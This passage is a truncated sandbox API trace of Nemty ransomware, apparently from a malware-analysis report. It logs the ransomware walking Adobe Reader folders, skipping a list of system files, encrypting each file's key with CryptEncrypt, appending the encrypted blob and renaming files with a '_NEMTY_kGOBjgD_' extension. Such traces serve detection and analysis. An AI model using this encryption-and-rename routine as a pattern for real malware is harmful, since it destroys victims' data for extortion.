hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.589] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="..") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="...") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="windows") returned -1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="$RECYCLE.BIN") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="rsa") returned -1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="NTDETECT.COM") returned -1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="ntldr") returned -1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="MSDOS.SYS") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="IO.SYS") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="boot.ini") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="boot.ini") returned 1 [0170.589] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="ntuser.dat") returned -1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="desktop.ini") returned 1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="CONFIG.SYS") returned 1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="RECYCLER") returned -1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="BOOTSECT.BAK") returned 1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="bootmgr") returned 1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="programdata") returned -1 [0170.590] lstrcmpiW (lpString1="nppdf32.SKY", lpString2="appdata") returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0170.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0170.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.590] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0170.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.590] Sleep (dwMilliseconds=0x5) [0170.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195501b0, dwHighDateTime=0x1d561e8)) [0170.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195501b0, dwHighDateTime=0x1d561e8)) [0170.599] GetLastError () returned 0x0 [0170.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.599] GetLastError () returned 0x0 [0170.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.600] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.600] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.600] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.600] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="+9q0p+po3p0NoOoY4rTBSax+9b62g4JpsVBxCl0u3aupaRd9srdWX0viP7tso3BP\r\neVdRUuFFf1CmfEYC9Z5UAzQ14y/8Vny/v9Ee2OpmmmHbveWG05Dov/ayM5XLrjws\r\n67qDfyEhMOMkdwy6XB0WW7e1C+8M2LDgPAYtkJG+ODeOtEzd8FwRKdYcEh3B/KKg\r\nA4wpXNtnX6vD0oaT7vu4unraSTwb+0/R31Xjh9ucx9RJnCyvKxYMu2U0ZFuQ886l\r\nI5Dh4+RCJRVdWV4glDhIYz5Cg7CgcCZOQAW2LDXDOuelkMDAU01+Kiha12ea1Kkz\r\nMNA4RdlKAtn3z9xhgYJWfQ==\r\n", pcchString=0x653e91c) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.600] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.600] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.600] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.602] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.602] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.603] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.603] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.603] CloseHandle (hObject=0x254) returned 1 [0170.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.603] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky._nemty_kgobjgd_")) returned 1 [0170.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.604] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="..") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="...") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="windows") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="$RECYCLE.BIN") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="rsa") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="NTDETECT.COM") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="ntldr") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="MSDOS.SYS") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="IO.SYS") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="boot.ini") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="boot.ini") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="ntuser.dat") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="desktop.ini") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="CONFIG.SYS") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="RECYCLER") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="BOOTSECT.BAK") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="bootmgr") returned 1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="programdata") returned -1 [0170.604] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="appdata") returned 1 [0170.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0170.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0170.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0170.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0170.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.605] Sleep (dwMilliseconds=0x5) [0170.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19576310, dwHighDateTime=0x1d561e8)) [0170.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19576310, dwHighDateTime=0x1d561e8)) [0170.615] GetLastError () returned 0x0 [0170.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.615] GetLastError () returned 0x0 [0170.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.615] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.615] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="ALsg4w/OJqNp0II8Yy+28DFvzfAktVBFa0ZtdV/ouY/iBKjmpL/g8lAru1NHYEEX\r\nXabFVC926CS4FKUSM2Ra6mNb3f04UEBvY32FrbRBpJ6LsYMjXIUUP1dT3LlfDLug\r\nMSaO+OBL+HxMR7KoCdalXIoAInZ0ynE86qVhXDHubl4F7VFHbzkfoj9L0PFGL0Qx\r\nQP3leijVz0qtuk2ZADcvJXWhO8leCZTEwoPB5pFFOxwmVfpdsVpErRttZcWlcZXx\r\nCgiANG9M3VscK2HJztCpZKYbkI64x8WKv8y5632H5JVYYwwHMON03/iyshy7fKR5\r\nBcvrIgP6QTNF60MhSXSRFQ==\r\n", pcchString=0x653e91c) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.616] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.617] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.617] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.618] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.618] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.619] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.619] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.619] CloseHandle (hObject=0x254) returned 1 [0170.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.619] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv._nemty_kgobjgd_")) returned 1 [0170.620] HeapFree (in: 